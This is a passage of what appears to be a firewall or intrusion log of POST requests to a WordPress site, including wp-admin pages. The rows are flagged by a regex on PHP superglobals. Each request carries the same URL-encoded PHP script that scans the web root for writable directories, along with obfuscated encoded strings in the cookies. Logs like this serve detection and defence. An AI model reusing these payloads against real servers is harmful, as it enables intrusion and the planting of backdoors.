dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3811\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nJA=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 18:00:21","188.138.39.67","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> IR:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3811\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nIR=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 18:01:55","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> OJ:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:3822\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\nOJ=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 18:03:25","216.194.166.232","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> CK:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:3832\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\nCK=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_d